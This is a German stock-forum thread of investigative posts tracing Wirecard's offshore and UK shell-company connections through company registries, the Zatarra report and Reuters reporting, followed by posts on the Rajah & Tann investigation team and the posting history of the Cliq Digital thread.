      Tote Hose? Dann wenigstens gute Unterhaltung...
      Frage: Ist Lionel Messi heimlich für die Wirecard aktiv? Antwort: Nein!

      Aber:
      Das sind die Direktoren der "Manboo UK Limited"
      https://beta.companieshouse.gov.uk/company/06629018/officers

      Im Einzelabschluß 2009 steht
      Der Kaufpreis wurde aus Barmitteln der Gesellschaft finanziert. Die E-Credit-Gruppe, bestehend aus der E-Credit Plus Pte. Ltd. und ihren Tochtergesellschaften E-Credit Plus Corp.
      (Philippinen), E-Credence Plus UK Ltd. (Großbritannien), Infotop Singapore Pte. Ltd. (Singapur), Credence Macau Pte. Ltd. (Macau), Manboo UK Ltd. (Großbritannien), Credence Collection SDN BHD (Malaysia) und E-Payment Singapore Pte. Ltd. (Singapur) ist im Bereich der
      Online-Zahlungsabwicklung vorwiegend für E-Commerce-Händler im ostasiatischen Raum
      tätig. Damit baut die Wirecard AG ihre bereits mit der philippinischen Tochtergesellschaft
      Wirecard Asia Pacific Inc. bestehende Präsenz in Ost-Asien aus. Für das operative Geschäft
      in Asien erwartet die Wirecard Synergieeffekte im Konzern.

      Die E-Credit-Plus wurde ein "Rohrkrepierer" (Schürmann), war aber alles halb so wild. Man hat die Firma den Vorbesitzern am Ende zurückgeschenkt, egal. Der Drogi Bob Lock war da verwickelt, who cares...

      Aber was ist da jetzt mit Lionel Messi?
      Nun ja. Einer der Direktoren der Manboo ist die Firma "Gransec Limited" in Irland. Der einzige Zweck dieser Firma scheint es gewesen zu sein, eben Director der Manboo zu sein. Man kommt aus Irland. Ulysses House, Foley Street, Dublin. Gehörte ja auch zur Wirecard. Passt schon.

      Der Herr Forward, das war (ist?) ein umtriebiger Mensch. Er ist u.a. Director einer Firma "INTERNATIONAL TRANSACTION RESOURCES LIMITED" gewesen, die es nur wenige Monate gab. Das war 2010 (Februar bis in den November, die Auflösung wurde bereits im Juli beantragt)
      https://beta.companieshouse.gov.uk/company/07147014

      Inhaber der Firma war eine "M2 EUROPE LIMITED" auf Isle of Man.

      Als Adresse hat der Herr Direktor angegeben:
      "20-22, Bedford Row, London, United Kingdom, WC1R 4JS "

      Und da kommt Lionel messi ins Spiel, denn diese Adresse tauchte bereits 2014 in den Unterlagen der Staatsanwaltschaft auf, die gegen Messi zu ermitteln wagte:
      https://www.brandeins.de/archiv/2014/spass/lionel-messi-der-…

      Dort saß die Firma "Sidefloor Limited", die Messi bei der Steueroptimierung geholfen hat.
      https://beta.companieshouse.gov.uk/company/06087729/officers

      Spannend an dieser Firma ist u.a. deren Gründungsgeschichte. Sie teilt die Firmengründer offenbar mit einer Firma aus Israel. Natürlich ist das bedeutungslos,... aber vielleicht fängt ja mal jemand an, sich zu fragen, warum man bei der Wirecard immer so illustre Kreise findet, wenn man sich deren Firmengründer ansieht. Ja ja ja, ist 'ne 5-Milliarden-Firma, die nutzen natürlich nur die besten Anbieter. Aber Vorsicht! Als die Firma noch viel viel kleiner war, da war das nicht anders. Es gehört zur Wirecard dazu wie... wie... wie... Skalierungseffekte zur Kursphantasie ;)

      P.S.: Es gibt noch zwei weitere interessante Firmen bei der Sidefloor Limited aus dem Fall Lionel Messi:
      eine führt zu einem Deutschen in Singapore:
      https://offshoreleaks.icij.org/nodes/115267
      Auch dieser Zusammenhang zu einem Frankfurter, der u.a. in Singapore bei Verhandlungen mit der Regierung beteiligt war (was Verschwörungstheoretiker aufhorchen lässt, wenn man daran denkt, dass wir hier ja die ganze Zeit schon über Singapore sprechen), ist zunächst einmal reiner Zufall...

      Die zweite Firma eben ist die "M2 Europe Limited" (Isle of Man, ehemals M2 Systems Limited)

      Es ist doch wenigstens denkbar, dass diese etwas mit der "M2 Europe Limited" in UK zu tun hat, oder?
      (der Inhaberin der Firma von Sean Forward).

      Das wäre insofern interessant, als die "M2 Europe Limited" in UK als secretary just "Go Ahead Services" hatte,...
      http://businessprofiles.com/details/m2-europe-limited/GB-060…

      Dann wäre womöglich auch bemerkenswert, dass deren Dependance in Berlin, die "M2 Europe Limited" (mit denselben Geschäftsführern) folgenden Geschäftszweck angibt:

      https://www.moneyhouse.de/M2-Europe-Limited-Berlin

      Gegenstand der Zweigniederlassung: Abwicklung von Geschäften als allgemeines kommerzielles Unternehmen mit dem Hauptbetätigungsfeld des Verkaufs und der Vermietung von Blumenpyramiden und ähnlichen Produkten.


      :)
      Avatar
      schrieb am 15.01.23 18:37:27
      Beitrag Nr. 349 ()
      Übertrag, Thema Brinken
      @ wire card uk

      Die Bedeutung der "Wire card UK"

      Einer der zentralen Punkte der Zatarravorwürfe war die "Wire Card UK". Die Wirecard hat hier etwas hin- und hergerudert... In der "Irismail" stand
      5. Wire Card UK Limited (company number 05888415) was incorporated on 27 July 2006. This was for the purpose of establishing a subsidiary for Wirecard in the UK but in the end other decisions were made. In its whole lifetime it was a dormant company which was never operational. It was dissolved on 17 August 2010.

      Reuters hat versucht, zu konstruieren, was im Juli 2006 gewesen sein könnte und was der Sinn der Gründung gewesen sein könnte, da die Wirecard es ja nicht wirklich geklärt hat. Was ist bei der Wirecard 2006 passiert?

      Hier einige Auszüge aus dem GB2006 (Quelle wirecard.de)
      Die Aufsichtsräte hißen damals noch Schlichtegroll, Henseler und Rehnig. Die covernden Banken waren Berenberg, CA Cheuvreux, Deutsche Bank, DZ Bank, Sal. Oppenheim, SES Research (Reichert) sowie die WestLB (die auch die Komplementärbank für Auslandszahlungen war)
      9,6% der Aktien gehörten der EBS, 8% Markus Braun, 7,8% der Avenue (Marc Lasry), 5,45% Fidelity. Die MK stieg von 233 in 2005 auf 622.
      Am 18.9.2006 wurde die Aktie in den TecDAX aufgenommen.
      Man hat die virtuellen Kreditkarten erfunden.
      Man hat den Zahlungsdienst "Wirecard" entwickelt. "Wirecard" von der "Wirecard AG" darf man nicht mit der "Wirecard AG" verwechseln!
      Im vierten Quartal hat man "ein Kundenportfolio" übernommen für 18Mio (+17 Mio)
      Seit Oktober 2006 wurde Click2Pay über load.com.ph in den Philippinen angeboten.
      Im GB werden Risiken erwähnt:


      Das waren die zur Wirecard gerechneten Firmen:

      Die Marielle Invest Business Corp wurde ab November vollkonsolidiert.
      Wire Card ESP, Paysys Limited (Mautirius) und Wire Card Inc in Sacramento wurden nicht konsolidiert.

      Es werden Forderungen ggü. der Wire Card ESP SL und der "Oval Limited" erwähnt, die sich im Besitz der Marielle auf den BVI befand.

      Wirecard Gibraltar wurde im Juli 2005 gegründet und zum 1.10.2005 konsolidiert.

      Eine "Verteilung des kaufpreises auf erworbene Vermögensgegenstände" musste nicht durcgeführt werden, da es sich bei Wirecard Gibraltar und Marielle Invest Business Corp um gegründete, nicht erworbene Gesellschaften handelte. In Gibraltar wolle man "vor Ort" Dienstleistungen anbieten, die Marielle auf den BVI wickelt Dienstleistungen ab.


      Ich habe nicht den geringsten Hinweis gefunden, wofür man eine Wure Card UK gegründet haben will. Man hat ein Kundenportfolio erworben, über das nichts weiter bekannt ist.

      Man hatte eine Beziehung zu zwei UK-Firmen:
      Infogenie UK: gegründet via Cosec Services Limited
      https://beta.companieshouse.gov.uk/company/03463595/officers
      (interessant, dass man die Firma so lange behalten hat... 2011 war der Inhaber aller Aktien der Firma die "Infogenie Europe AG", die aber schon lange, seit 2005, "Wire Card AG" bzw Wirecard hieß)
      Da sehe ich nirgends irgendeine Idee, was man mit "Wire card UK" wollte...

      Diese Oval (2123) Ltd ist nicht uninteressant. gegründet im Oktober 2006 (also einige Monate später als die "Wire Card UK" und nach allem, was ich gelesen habe, die Firma, die den naheliegendsten Zusammenhang zur Wire Card UK hat)

      Gegründet über Jordans bzw. Ovalsec (2 Temple Back East, Bristol) (deshalb heißen diese Firmen ja Oval (####) Ltd)

      Der Gründer war also Osborne Clarke, Wirecards Firma der Wahl für diverse M&A-Aktivitäten.

      Das ist für mich das nächste Rätsel... Warum hat man die "Wire card UK" dann nicht ebenfalls über Osborne Clarke gegründet, sondern über diese seltsame Konstruktion und über Barbara Kahan???

      Am 25.10.2006 wurden Freiherr von Erffa und Alexander Herbst Direktoren der Firma. Ganz offiziell, auf Osborne Clarke Dokumenten, völlig normal.
      Im Januar 2007 war der Herr Herbst schon wieder weg, wurde aber wenige Tage später erneut director, ab NOvember 2007 stand ihm Herr Rüdiger Trautmann zur Seite, als Ersatz für Herrn von Erffa.

      2008 gehörte die Firma mehrheitlich der Marielle (von wirecard) und minderheitlich der Oneloig Limited.

      Was verbindet nun diese beiden ungleichen Firmen? Auf der einen Seite die sauber gegründete Oval (2123) und auf der anderen Seite die seltsame "Wire Card UK"?

      beide waren dormant companies
      bei beiden taucht Rüdiger Trautmann auf
      beide hatten (unstrittig) etwas mit der wirecard zu tun
      beide werden im Zusammenhang mit illegalen geldtransaktionen und "fake merchants" erwähnt (was wirecard alles Lüge nennt)

      Wire Card UK wurde von barbara Kahans A1 gegründet, Gründungsmitglieder waren die Fermoya auf den BVI und die B.M.I.E. Limited

      Mit Gründung wurde Rüdiger Trautmann Direktor.

      Wie die Wirecard korrekt sagt, war die Firma allezeit "schlafend".

      Nun aber zur B.M.I.E., Atherton House, Wickford, Essex
      Gegründet im März 2005 von einem Gründer aus manchester, wurde die Firma schnell dem Director Casey Roberts überschrieben. Dabei taucht eine Lenia Management auf (selbe Adresse wie die BVI-Firmen bei Wire CARD UK), später Mark Colin John Quirk. Über beide Namen wäre viel zu berichten. Aber nicht heute.

      Das deutet darauf hin, dass diese ersten Direktoren der B.M.I.E. da etwas mit zu tun hat. Oder auch nicht. Sie verhalten sich zu der BVI-Firma Lenia genauso wie Trautmann zur BVI-Firma bei Wire card UK.

      Interessant ist, dass da jemand die BVI-Adresse falsch schreibt, nämlich "Tortolla" statt "Tortola". Spannend weiterhin, dass just jener Fehler an sehr interessanten Stellen ebenfalls auftaucht... Beispielsweise im Zusammenhang mit Dialern einer bestimmten Firma (mit identischem Postfach auf den BVI, was das schon überzufällig macht), aber auch bei einer Firma, die (Achtung, kompliziert) zu einem russischen EBS-Kunden der eher üblen Sorte führt, der seine üblen Tätigkeiten unter anderem unter Verwendung einer Adresse in Gibraltar durchgezogen hat, die - zufällig oder nicht - exakt identisch war zu der Adresse weiterer EBS-Kunden, was ein wenig die Annahme nahelegen könnte, dass die EBS das Verbindungsglied zur Adresse in Gibraltar sein könnte. Kein Beweis, aber bitte merken...

      Jetzt wird es kurios, denn die Gründungsinhaberin der "Wire Card UK" war nach Angaben des britischen handelsregisters zum Zeitpunkt der Gründung der "Wire Card UK" eine schlafende Firma (dormant company). Wie geht das denn?

      Wie kann eine schlafende Firma eine Firma gründen, die laut Angaben der Wirecard niemals tätig war, weil sie immer schlafend war???????

      Schlafend heißt nicht, dass da nichts passiert wäre... Zum Beispiel wurde der Herr Simon Dowson im August 2009 Director.

      Der wurde 2010 mal schnell director der "Wire Card UK", um diese schlafende Firma aufzulösen. Wahrscheinlich im Auftrag der schlafenden B.M.I.E.?
      Mag sein. Vielleicht aber auch im Auftrag der "Brinken Merchant Incorporations Limited"?

      Über diese Firma wissen wir eine Menge, dank Alasdair Pal von Reuters.
      Reuters weiß auch, denke ich, dass diese BMI von Simon Dowson in ihrer Meldung für 2007 angegeben hat, mehrheitlich einer Firma in Tortola (inzwischen richtig geschrieben) gehörte, gleiches Postfach, wie gehabt, zu 70/100. 2/100 gehörten Casey Roberts (dem Director des Wire Card UK-Inhabers BMIE), 8/100 gehörten Simon Dowson und 20/100 gehörten einem gewissen Herrn Patrick Mosbach aus München.

      Im Jahr darauf gehörten 2/100 Aktien nicht mehr Casey Roberts, sondern Brigitte Axtner. Sie hat also die Aktien des Directors des Inhabers der Wire Card UK übernommen?

      Patrick Mosbach arbeitet heute bei einer Paymentfirma in Bangkok. Früher war er Vice President sales einer gewissen Firma namens "Wire Card". Brigitte wiederum, die hat geheiratet, heißt heute Häuser-Axtner und ist amtierende Vice President Digital Sales einer Firma namens Wirecard AG.

      Was das bedeutet, muß ich nicht groß erklären, oder?



      Und warum weiß ich das alles? Tja, weil ich nach Erscheinen des zatarraberichtes genau das gemacht habe, was Burkhard Ley auch gemacht hat: Ich habe ihn Seite für Seite eglesen. Nur habe ich das offenbar anders gemacht als Burkhard Ley, denn am 25.2., frühmorgens, habe ich mir eine Datei durchgelesen:

      "UNITED STATES DISTRICT COURT SOUTHERN DISTRICT OF NEW YORK
      UNITED STATES OF AMERICA,
      Plaintiff,
      - v. -POKERSTARS; FULL TILT POKER;
      ABSOLUTE POKER; ULTIMATE BET;[et al]

      Und da steht es: auf Seite 35 unten:
      l. In or around August 2007, Full Tilt Poker processed credit card payments for gambling transactions under the name “PS3SHOP,” using a non-gambling credit card code for the
      transactions, through a credit card network with headquarters in the Southern District of New York.


      und im report IV von whistleblowerwd steht auf seite 14:
      56. The domain, www.ps3-shop.biz, was registered by Simone Saric, a Director of a UK entity, Pilaro Ltd. As per section 19. c., Pilaro Ltd was owned by Deutsche Payment IPSP (UK registered) under its former name of Istratos Ltd.


      Tja. Burkhard Ley hat das im Interview gesagt, in Finance, am 17. Mai 2015
      https://www.finance-magazin.de/strategie-effizienz/unternehm…
      Der Wirecard-CFO hat das Zatarra-Papier, das Wirecard unter anderem Geldwäsche und illegales Glücksspiel unterstellt, eigener Aussage zufolge genau studiert: „Ich habe mir den 101 Seiten langen Report, der plötzlich im Internet verbreitet wurde, Seite für Seite durchgelesen. Danach wusste ich, dass kein einziger Vorwurf korrekt ist“, erklärte er.

      Das hat er gesagt, der Burkhard von der Sparkasse Solingen...
      Dabei hatte jigajig bereits einen Monat vorher folgendes geschrieben:


      Zitat von jigajig:
      Zitat von ernestof: Aufgrund des Bilanzrechtsreformgesetzes (BilReG / gültig ab 01.01.2005) wurde der § 319 a HGB neu eingeführt. Danach sind die WP von der Abschlussprüfung ausgeschlossen, wenn sie in den letzten 7 Jahren hintereinander den Bestätigungsvermerk gezeichnet haben (interne Rotation).

      Der §319 enthält noch andere Ausschlußkriterien, die in der Geschichte der Wirecard von Interesse waren. Control5h wurde meines Wissens durchs Amtsgericht München als Infogenie-Prüfer eingeführt, weil der geplante Prüfer nicht prüfen durfte. Dann kam ein gewisser "Roland Weigl" zum Zuge. Kann man alles auf der wunderschönen Seite wirecard.de nachlesen. Kuckt einfach mal. Was da nicht steht, ist das hier:
      http://deutsche-payment.de/presse/
      Der Prüfer, der wirecard womöglich gar nicht hätte prüfen dürfen, ist danach Aufsichtsratsvorsitzender einer Firm, die gegründet wurde von einem der Brains der Wirecard (Alexander Herbst). Diese Firma wiederum wird im Nachtrag zum Zatarrabericht erwähnt:

      ...

      Ich kann es nicht besser sagen als Zatarra selbst
      Die Hoffnung der Wirecard ist, dass die Mehrheit der Empfänger (ihrer Stellungnahmen) die Berichte von Zatarra nicht gelesen hat und (daher) nicht vertraut sind mit den enthaltenen Beweisen.
      Denn wenn sie es hätten, dann würden sie leicht in der Lage sein, die falschen und irreführenden Elemente in der Wirecard-"Widerlegung" zu erkennen un die Bedeutung der zur Verfügung gestellten Beweise verstehen.

      Alexander Herbst findet sich u.a. bei einer Firma TRINKBAY
      https://beta.companieshouse.gov.uk/company/07129177/officers
      An sich ist die Firma langweilig, aber dort taucht eine EMB in Mahe, Seychelles, auf.

      Das wiederum erklärt das Rätsel um die Bournewood Limited. Seit Panama Papers dürfte der letzte Wirtschaftsjournalist kapiert haben, dass es bei Offshorefirmen nicht um Namen geht, sondern um Postfächer. In diesem Fall das Postfach 438 in Road Town, Tortola.
      Bisschen weiter runter scrollen, da kommt auch die Bournewoo…
      Warum Wirecard nicht zugeben wollte, mit der EMB zusammengearbeitet zu haben, kann ich noch nicht sagen, ich habe es noch nicht recherchiert. Ich nehme an, es gibt den ein oder anderen Grund.

      Viel Spaß beim Graben in Tortola wünscht
      jigajig


      warum wirecard nicht sagen wollte, dass es mit der EMB kooperiert hat bei der Wire Card UK?
      Tja. Das könnt ihr ja bei Reuters nachlesen:

      http://uk.reuters.com/article/uk-britain-consett-companies-s…
      Simon Dowson, director der Wire Card UK:
      Dowson, 35, said he helped online merchants whose transactions are seen by credit card firms as "high risk" to win approval to take credit card payments. Many were overseas and needed a European company base. For a few thousand pounds a time, Dowson would set up companies like Thunder Flash with UK addresses and provide the directors and company records, such as annual returns and tax forms, to meet UK requirements. A UK address made it easier for the sites to accept payments in Europe, Dowson said.
      He ran his business through two main companies: Brinken Merchant Incorporations (BMI) and later, EMB Management Solutions (EMB). Those firms in turn created the shell companies and named Consett locals as directors.


      So. Was haben wir da jetzt?
      PS3shop, EMB, frühere wirecardleute, gerichtskundig zur Verschleierung von Pokertransaktionen von Fulltilt, genauso wie bei Schütt, Simon Dowson, dazu fermoya und bluetools bei wiore card uk und und und

      Hmm.

      Naja, ist ja egal, denn:
      Der Wirecard-CFO hat das Zatarra-Papier, das Wirecard unter anderem Geldwäsche und illegales Glücksspiel unterstellt, eigener Aussage zufolge genau studiert: „Ich habe mir den 101 Seiten langen Report, der plötzlich im Internet verbreitet wurde, Seite für Seite durchgelesen. Danach wusste ich, dass kein einziger Vorwurf korrekt ist“, erklärte er.


      und wenn Burkhard Ley das sagt, dann sollte das schon stimmen. Oder?

      schrieb am 11.12.16 19:07:40
      Beitrag Nr. 862 ( 53.873.287
      )




      http://www.reuters.com/investigates/special-report/britain-c…
      Ist den Damen und Herren von der Lästerfraktion Reuters als Quelle seriös genug? Dann sollten sie Augen und Ohren aufhalten... Hier geht's ja nur darum, dass man sich seine Nachbarschaft gut aussuchen sollte, wenn man wo hinzieht. Selbst, wenn es nur "virtuell" ist :)

      The Mawsons are among more than 400 people in and around Consett who have served as directors for companies based in and around the town. These shell companies often have no real operations or staff in Britain, but have been conduits for millions of pounds in revenue generated by online businesses around the world. Some of the directors told Reuters they knew nothing about their roles.

      At the core of the operation is a company formation agent named Simon Dowson. He lives in a refurbished farmhouse at the top of a hill and drives a black Mercedes AMG. He agreed to talk to reporters a few weeks ago when he was leaving a branch of Starbucks at the local mall.
      Dowson, 35, said he helped online merchants whose transactions are seen by credit card firms as “high risk” to win approval to take credit card payments. Many were overseas and needed a European company base. For a few thousand pounds a time, Dowson would set up companies like Thunder Flash with UK addresses and provide the directors and company records, such as annual returns and tax forms, to meet UK requirements. A UK address made it easier for the sites to accept payments in Europe, Dowson said.


      Im März 2010 wurde diese freundliche und hilfsbereite Mensch Director einer Firma "Wire Card UK", mit der eine Firma mit ähnlich klingendem Namen anfänglich nichts zu tun haben wollte, obwohl man später angab, sie gegründet zu haben. So ungefähr. Obwohl man sie also gegründet hatte, stand man nirgends in den Dokumenten. Das ist schon mal seltsam.

      Aber damit, wie alle wissen, fangen die Seltsamkeiten erst an. Und die Zeitzungsberichte auch. Ich freue mich auf die Fortsetzung.
      Reuters... wer hätte das gedacht :)

      In 2009, the U.S. Secret Service found that a company serviced by Dowson’s business with a Consett director had breached money-laundering laws. A German who confessed to being behind the operation was fined and jailed in the United States. Dowson and the firm’s director were not named in the U.S. complaint.
      (...)
      Dowson left the town to work in internet merchant processing on the Isle of Man and returned in the mid-2000s. He said he was a specialist in helping online businesses collect cash for “high risk” transactions.
      “High risk business covers a multitude of business models,” Dowson said. “There are adult, dating, online gaming, travel, it goes further and further and further.”
      In 2004, Dowson said, he saw an opportunity to help online businesses outside Europe set up European merchant accounts to accept major credit cards. As a general rule, merchants in Europe pay lower transaction fees than those in emerging markets. To set up the European accounts, a "European entity" – or company – was needed. That was what Dowson would provide.
      UK rules say companies need at least one real human being as director. At first, Dowson and his family members acted as directors. But after a while, he needed more people. So he turned to the residents of Consett.
      (...)
      The individual behind the 27 firms was most likely Clayton Douglass, an American living in Barcelona, the Insolvency Service wrote, citing “documents available.” Reuters was unable to clarify his precise role. Douglass, who websites show has since worked for a company providing billing services to porn companies, did not respond to requests for comment.

      Na, dann sollen sie halt die US-Justiz fragen. Da muß ich wohl ein paar mails schreiben.
      https://beta.companieshouse.gov.uk/company/05899096/officers

      schrieb am 25.11.16 21:50:19
      Beitrag Nr. 21.950 ( 53.774.715



      Februar 2017-03-03
      Zitat von SamLowry: Danke, dass Du das hier postest. Em, was genau meint:

      "dass die forderungen aus sicherungseinbehalten überwiegend bei Wirecards auslandsgesellschaften (Wirecard Payment Solutions Ltd., Dublin und cardSystems Middle East, Dubai) anfallen, liegt an der raschen expansion Wirecards"

      Die rasche Expansion des Unternehmens ist der Grund, warum die Sicherungseinbehalte überwiegend in Dublin und Dubai anfallen? Diese Schlussfolgerung verstehe ich nicht.

      ich auch nicht...
      Übrigens: Wenn ich ein IPSP bin und muß Risikorücklagen bilden. Diese sind dann in Europa niedriger, oder? Wenn ich jetzt also einen Kunden in Asien habe und der eröffnet eine Filiale in Europa, irgendwo, sagen wir mal... in Consett. Gilt der dann als europäischer oder als asiatischer Kunde?

      Warum frage ich das?
      Weil am Analystentag so etwas gefragt wurde... ich habe es nicht ganz verstanden... ob europäische Geschäfte auch Geschäfte mit Europäern seien (oder so ähnlich)

      weiß da jemand mehr?


      Dann noch zur DZ-Bank, die ja bekanntlich die technische Betreuung der Wirecardbank macht ("Raiffeisenbank Dornach"), die kamen heute als erste Bank mit einer "alles gut"-Erklärung raus. Das Thema hatten wir bereits, daher nur noch einmal als Erinnerung
      Zitat von jigajig:
      Zitat von SmartCap: Harald Heider, DZ Bank. Wäre vorsichtig bei dessen Empfehlungen. Bezweifel, ob der die Vorwürfe gegen WC auch nur ansatzweise geprüft hat. Die DZ Bank hat mehrere Interessenkonflikte bei WC. Bitte bei DZ selber nachfragen.

      Ich habe wirklich ernsthaft versucht, zu den Interessenskonflikten mehr zu erfahren. Und?
      Pass auf...


      Die Bandagen werden härter, das wird auch noch zunehmen... Aber man sollte sich nicht verrückt machen lassen. Wer die Absicht hat, die Wahrheit ans Licht zu bringen, wird sich nicht von irgendwelchen diffusen Drohungen abhalten lassen. Warum auch? Ein gutes gewissen ist ein sanftes Ruhekissen... Auf ihr Herz achten müssen hier andere :)
      Avatar
      schrieb am 21.01.23 15:41:52
      Beitrag Nr. 350 ()
      Nachtrag aus 2019 zu Rajah & Tann
      Offenbar besteht hier weiterer Klärungsbedarf... Also der Reihe nach: Dan McCrum spricht in seinem Artikel von dem RT-Team. (Quelle)

      The R&T team that prepared the preliminary report included former prosecutors who wrote the book Financial Crimes in Singapore.

      Ein kurzer Blick in Google und man kennt die drei Autoren dieses Buches:

      Financial Crimes in Singapore (Englisch) Paperback – 2013
      von Hamidul Haq (Author), Thong Chee Kun (Author), Istyana Ibrahim (Author) (Quelle: Nexis Lexis, Amazon, usw)

      Mindestens zwei der drei Autoren waren also Mitglied des Teams.

      An diesem Punkt könnte man aufhören und die lächerliche Behauptung von wegen "Gurkentruppe" oder auch die Verschwörungstheorien um das RT-Team ad acta legen. Aber ich will ja immer alles wissen... Wer will, kann mir gerne folgen.

      Gehen wir weiter zum Spiegel (Quelle)

      Der 31 Seiten lange vorläufige Bericht von R&T vom 4. Mai 2018 erhebt zwar drastische Vorwürfe. Doch er wurde binnen weniger Tage erstellt, basiert überwiegend auf Aussagen eines einzelnen Whistleblowers und belegt konkrete Vorwürfe zu einzelnen Vorgängen kaum stichhaltig. (...) Das R&T-Team aus zwei Partnern und drei Anwälten, die das erste, vorläufige Dossier verfasst hatten, ist mittlerweile aufgelöst. Eine Anwältin hat R&T verlassen, zwei weitere finden sich nicht in der Mitarbeiterliste der Kanzlei. Kommentieren will die Kanzlei die Personalien und die Umstände, unter denen das erste Dossier verfasst wurde, nicht.

      Für mich liest sich das wie eine versteckte Abwertung des ersten Berichts, aber es sind Fakten und die darf der Spiegel schreiben und bewerten. Völlig ok. Eine Relativierung dieses prelimanary reports tut gut, manche Medien scheinen vergessen zu haben, dass diee FT aus einem vorläufigen Bericht schrieb, der laut Wirecard "überholt" sei. Das ärgert mich, da wird viel Effekthascherei betrieben (Funktioniert dann so: man schreibt eine neue Entwicklung, bezieht sich auf Quelle XY, also hat nicht einmal die Originale gelesen und ergänzt das dann um gebetsmühlenartig wiederholte, aber schlicht nicht ganz richtige "Zusammenfassungen" der Vorwürfe, die in FT standen, ohne auf die einschränkenden Aspekte hinzuweisen).

      Ok, jetzt komme ich aber vom Thema RT ab (ich will nur mal wieder verdeutlichen, dass meine Kritik stets in beide Richtungen gerichtet ist. Mich kotzen manche Börsenbriefe an mit ihrer Effekthascherei bei gleichzeitig gruseliger Quellenarbeit. Unprofessionell, unseriös! (Es ist trotzdem Unfug, hier die Presse so pauschal zu kritisieren)

      Zurück zu RT: Mindestens zwei der drei Autoren, alles höchst angesehene Anwälte mit beeindruckender Vita, waren Teil des Ursprungsteams.

      Zwei Partner und drei Anwälte bildeten das Team. Eine Anwältin ist weg, zwei findet man nicht mehr auf der Liste, bleiben zwei "Partner" übrig. Thong Chee Kun ist Partner bei Rajah & Tann und Autor des Buches (Quelle). Das gilt auch für Hamidul Haq (Quelle)

      Aus Gründen der Logik würde ich deshalb davon ausgehen, dass diese beiden Mitglieder des Ursprungsteams die zwei Mitglieder aus diesem Team sind, die immer noch bei Rajah & Tann sind.

      Hamidul Haq war u.a. 8 Jahre lang "Head of Legal Department" bei der CAD, er ist ein absoluter Topanwalt, oberste internationale Liga.

      Ich bin aber noch nicht ganz fertig, denn eine Frage bleibt noch: Sind diese beiden Topanwälte immer noch im Fall Wirecard tätig?

      Dazu verweise ich auf die von Wirecard bereitgestellte Aussage von Rajah & Tann (Quelle)

      Wie man sehen kann, ist sie mit "Rajah & Tann" unterzeeichnet. Wie man sehen kann, befindet sich oben eine Schwärzung. Wie man sehen kann, steht oben links eine "sender's ref(erence)": HHQ/TCK/313110/5

      So. An diesem Punkt verlasse ich den festen Boden der harten Tatsachen. Hamidul Haq. Thong Chee Kun. HHQ. TCK. Hmm.
      Avatar
      schrieb am 22.01.23 20:49:25
      Beitrag Nr. 351 ()
      Übertrag von Cliq Digital - Threadanalyse
      Es ist immer ganz spannend, alte Diskussionen zu einem Wert zu lesen. Im Falle von Cliq Digital muss man dabei berücksichtigen, dass sich das Geschäftsmodell verändert hat.
      Schon 2014 gab es hier im Thread sehr fundierte Analysen und spannende Diskussionen, hier z.B. aus dem Jahr 2014, wo es Cliq nicht sonderlich gut gegangen ist
      Das Maß, wie intensiv eine Aktie diskutiert wird, kann man gut erkennen, wenn man auf 500 Beiträge pro Seite stellt. Aktuell hat der Hauptthread 3060 Beiträge.
      Von Beitrag 2001 (28.3.18) bis 2500 (6.1.21) hat es 1015 Tage gedauert, also etwa ein Beitrag alle zwei Tage.
      Von 2501 (7.1.21) bis 3000 (13.1.23) hat es 736 Tage gedauert. Immer noch weniger als 1 Beitrag pro Tag (2 Beiträge in drei Tagen)
      Von 3001 bis heute (3060) waren es also nur 9 Tage. Knapp 7 Beiträge pro Tag ;)
      Ok, da waren halt auch von mir viele Beiträge dabei...
      Für die letzten 500 Beiträge (2560 bis 3060) wurden 651 Tage benötigt. 0,8 Beiträge pro Tag.
      Mein erster Beitrag hier war am 07.08.21, # 2.654
      Wenn wir jetzt von diesem Zeitpunkt bis heute rechnen, sind es 533 Tage für 406 Beiträge. Also immer noch weniger als ein Beitrag pro Tag.
      Man muss also noch kleinteiliger schauen (und mich interessiert ja die Zeit ab dem Einstieg der Leerverkäufer ca. im Juli 2021)
      Ich schrieb meinen ersten Beitrag also am 7.8.21 (#2564)
      Für 100 Beiträge davor hat das Forum 320 Tage gebraucht
      Nun zum Thread an sich:
      Interessanter Beitrag Hugo Hebel, 09.11.20, 2.490
      Zitat von hugohebel: Irgendwie werde ich das Gefühl nicht los das auch Cliq hinter diesen Angeboten steckt. Man hat das in der Vergangenheit ja auch schon bei Kligeltönen und Videos usw gemacht und die Kunden ist Abofallen gelockt.
      https://www.spiegel.de/netzwelt/web/streaming-portale-verbra…

      Von dort aus bis heute waren es 0,7 Beiträge am Tag.

      Interresant #2497
      Zitat von erfg: https://cliqdigital.ag/3q-9m-2020-earnings-call
      (nur in Englisch)
      ab min. 14:27: Geschäftsgeheimnis aus wettbewerbsgründen bleiben die kalkulationsgrundlagen (zB zahl der kunden [abonnenten], umsatz pro kunde, akquisitionskosten pro kunde) geheim es wird erwartet, dass die durchschnittliche kundenbindungsdauer (member lifetime), die derzeit 7-8 monate beträgt, durch die generelle überprüfung und verbesserung des inhaltsangebots steigt
      ab min. 14:49: Wettbewerbssituation
      CLIQ Digital ist nischenplayer in einem massenmarkt, die kunden (mitglieder) sind preisbewusst bis zu fünf familienangehörige dürfen das angebot gleichzeitig nutzen
      die kunden schätzen den hohen lebenskomfort und speziell die flexibilität der mitgliedschaft
      Übernahmeziel?:
      Interessante Frage! Wir entwickeln unser Geschäft ständig weiter, um es noch attraktiver zu machen - ob das zu einer Übernahme führt, können wir nicht sagen

      2.497 vom 16.12.20
      Von da an bis heute: 0,7 Beiträge pro Tag. Immer noch nicht viel los.
      2.500 vom 06.01.2021
      Zitat von Onceinalifetime: So ich denke bald kommt hier wieder Fahrt auf. Wir gehen ja auf die Quartalszahlen zu. So absurd günstig wie aktuell kann es eigentlich nicht bleiben.

      Von da an bis heute: 0,8 Beiträge pro Tag
      Kurs: 18,60€

      Hier und da - neben Links zu bullishen repots oder Berichten - kritische Stimmen. Erneut ist es Hugo Hebel(17.02.21)
      Kurs: 24,40€

      Valueanleger bullish unterwegs
      Zitat von valueanleger: Die ersten Anleger bekommen kalte Füße.
      Dies bietet für Neueinsteiger günstige Kaufchancen.
      Längerfristig orientierte Anleger bleiben dabei und halten die Aktie im Depot.
      Quirin hat das Kursziel auf 60€ erhöht - mutig aber nicht unmöglich

      24.03.21 Kurs 32,40€

      Zitat von Naim1000: den Mutigen gehört die Welt ;-)
      Bei einer Marktkapitalisierung von 230 Mio und einen geschätzten Gewinn von 12-15 Mio, kommt ein KGV raus von 15-19. Fand ich nicht zu teuer. Auch wenn der Kurs schon super gelaufen ist.

